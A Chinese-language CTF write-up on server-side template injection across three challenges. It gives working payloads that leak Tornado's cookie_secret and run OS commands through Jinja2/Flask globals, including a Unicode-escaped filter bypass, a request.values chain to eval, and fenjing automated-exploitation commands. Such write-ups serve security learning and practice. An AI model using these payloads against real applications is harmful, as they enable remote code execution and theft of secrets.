目录
[护网杯 2018]easy_tornado
知识点:服务器模板注入(SSTI)编辑
编辑
为什么使用双花括号?
Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
笔记
判断ssti漏洞
[安洵杯 2020]Normal SSTI
知识点:ssti+unicode编码绕过
[HNCTF 2022 WEEK3]ssssti
知识点:ssti
笔记
进入页面的三个文件进入后回显分别是
并且传参的参数也知道了
网址里有参数filename和filehash推测这里flag应该是在filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。filename知道了,cookie_secret在哪呢?hints提示render,又根据题目easy_tornado可推测是服务器模板注入。
因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
在 Web 开发中,SSTI(Server-side Template Injection)是指恶意用户能够通过注入恶意模板代码来执行服务器端模板引擎的漏洞。其中,双花括号({{ … }})是一种常见的模板语法,用于插入动态数据和执行逻辑操作。
使用双花括号的原因是模板引擎使用特定的语法来识别和解析模板代码。通过在双花括号中插入动态数据或执行逻辑操作,模板引擎会将其中的代码解析和执行,并将结果插入到最终生成的页面中。
然而,如果用户能够控制模板中的双花括号内容,就可能产生 SSTI 漏洞。攻击者可以通过注入恶意模板代码来执行任意服务器端代码,包括读取敏感文件、执行系统命令等。因此,在开发过程中,需要谨慎处理用户输入并进行适当的输入验证和过滤,以防止 SSTI 漏洞的利用。
/file?filename=/fllllllllllllag&filehash={{1}}
得到关键报错信息
模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}
返回484则必然存在模板注入。
但是当我们输入error?msg={{1}}
就可以得到回显,说明此处是存在SSTI注入漏洞的。
当我构造的payload为:error?msg={{2*2}}的时候,回显的结果是orz。因此我们可以猜测出,此处是出现了过滤。此时我们需要找的是cookie_secret
搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret
参考:模板注入STTI,获取cookie_secret - 码农教程
RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
构造payload:
error?msg={{handler.settings}}
cookie_secret:383f165d-351a-43b3-bfa3-e19833136a71
此时的payload应该就是如下通过md5的结果
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
python脚本:
import hashlib
file_hash = hashlib.md5()
filename = '/fllllllllllllag'
file_hash.update(filename.encode('utf-8'))
s1 = file_hash.hexdigest()
cookie_secret = "383f165d-351a-43b3-bfa3-e19833136a71"
file_hash = hashlib.md5()
file_hash.update((cookie_secret + s1).encode('utf-8'))
print(file_hash.hexdigest())
md5(cookie_secret+md5(/fllllllllllllag))都要进行md5加密
加密后得到
423b9dc067a4ead3c214feceb3b1e586
payload:
file?filename=/fllllllllllllag&filehash=423b9dc067a4ead3c214feceb3b1e586
要判断是否存在SSTI(Server-side Template Injection)注入漏洞,可以尝试以下方法:
输入特殊字符:在可能存在SSTI注入漏洞的输入字段中输入特殊字符,如{{ 7*7 }}。观察应用程序的响应是否执行了输入中的代码并将结果展示在页面上。如果计算结果(49)显示在页面上,那么很可能存在SSTI注入漏洞。
检查动态输出:查看应用程序的输出,并检查是否存在意外的模板代码或未经渲染的模板变量。如果页面上显示了一些不应该被展示的模板代码,那可能是SSTI注入的结果。
错误信息:观察应用程序可能返回的错误消息。如果错误消息包含了关于模板引擎的错误或异常信息,那可能暗示存在SSTI注入漏洞。
搭建测试环境:在本地或虚拟机环境中,搭建与目标应用程序相似的环境,并尝试构造恶意输入。手动执行SSTI注入攻击,并观察应用程序的行为是否有异常。
使用漏洞扫描工具:可以使用专门的漏洞扫描工具,如tplmap、GourdScan、tpl-id等,来扫描目标应用程序是否存在SSTI注入漏洞。这些工具可以自动发现和报告潜在的SSTI注入漏洞。
进入环境可以根据给出的内容进行注入
然后进行简单的ssti注入{{2*2}}
这里过滤了双大括号,只能用{%%} ,再加上unicode编码绕过
因为.和[]被过滤,所以使用flask的|attr来调用方法
‘’|attr(“__class__”)等于
‘’.__class__
如果要使用xxx.os(‘xxx’)类似的方法,可以使用
xxx|attr(“os”)(‘xxx’)
使用flask里的lipsum方法,来执行命令
flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
globals 使用方式是 函数名._globals_ 获取function所处空间下可使用的module、方法以及所有变量。
构造思路
lipsum|attr("__globals__").get("os").popen("ls").read()
因为__globals__
返回的是字典,所以使用get来获取值
payload:
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}
还要把payload进行编码
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("read")())%}
还有一种就是用fenjing工具梭哈,但是我的fenjing装不上,运行不了
参考:[SSTI自动化工具]Fenjing安装说明-CSDN博客
参数传参是name,{{}}没有被过滤
payload:
?name={{()[request.values.a][request.values.b][1][request.values.c]()[59][request.values.d][request.values.e][request.values.f][request.values.g](request.values.h)}}&a=__class__&b=__mro__&c=__subclasses__&d=__init__&e=__globals__&f=__builtins__&g=eval&h=__import__(%22os%22).popen(%22cat%20flag%22).read()
或者用fenjing一次性梭哈
python -m fenjing crack --url http://node5.anna.nssctf.cn:28755/ --method GET --inputs name
接着再用ls命令和cat /flag命令就可以得到flag
NSSCTF{6eba783a-eb0e-4bd7-bc1e-59c4c5f39545}
fenjing
使用python的fenjing库,没安装过的要在kali上安装:
pip install fenjing
payload:
python -m fenjing crack --url http://xxx.xxx.xxx.xxx --method GET --inputs name